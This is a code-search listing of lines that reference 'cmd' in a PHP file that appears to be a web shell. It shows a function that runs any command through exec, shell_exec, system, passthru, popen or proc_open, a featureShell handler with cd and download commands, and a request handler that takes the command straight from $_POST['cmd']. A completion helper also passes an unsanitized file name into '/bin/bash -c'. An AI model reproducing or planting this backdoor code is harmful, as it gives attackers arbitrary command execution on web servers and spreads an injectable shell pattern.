Lines Matching refs:cmd
51 * @param string $cmd The command to execute
54 protected function executeCommand($cmd) argument
58 exec($cmd, $output);
61 $output = shell_exec($cmd);
64 system($cmd);
69 passthru($cmd);
73 $handle = popen($cmd, 'r');
79 $handle = proc_open($cmd, [0 => ['pipe', 'r'], 1 => ['pipe', 'w']], $pipes);
99 * @param string $cmd The command to execute
103 public function featureShell($cmd, $cwd) argument
107 if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
109 } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
111 preg_match("/^\s*cd\s+(\S+)\s*(2>&1)?$/", $cmd, $match);
113 } elseif (preg_match("/^\s*download\s+\S+\s*(2>&1)?$/", $cmd)) {
115 preg_match("/^\s*download\s+(\S+)\s*(2>&1)?$/", $cmd, $match);
119 $stdout = $this->executeCommand($cmd);
150 $cmd = "compgen -c $fileName";
152 $cmd = "compgen -f $fileName";
154 $cmd = "/bin/bash -c \"$cmd\"";
155 $files = explode("\n", shell_exec($cmd));
292 $cmd = $_POST['cmd'];
293 if (!preg_match('/2>/', $cmd)) {
294 $cmd .= ' 2>&1';
296 $response = $this->featureShell($cmd, $_POST["cwd"]);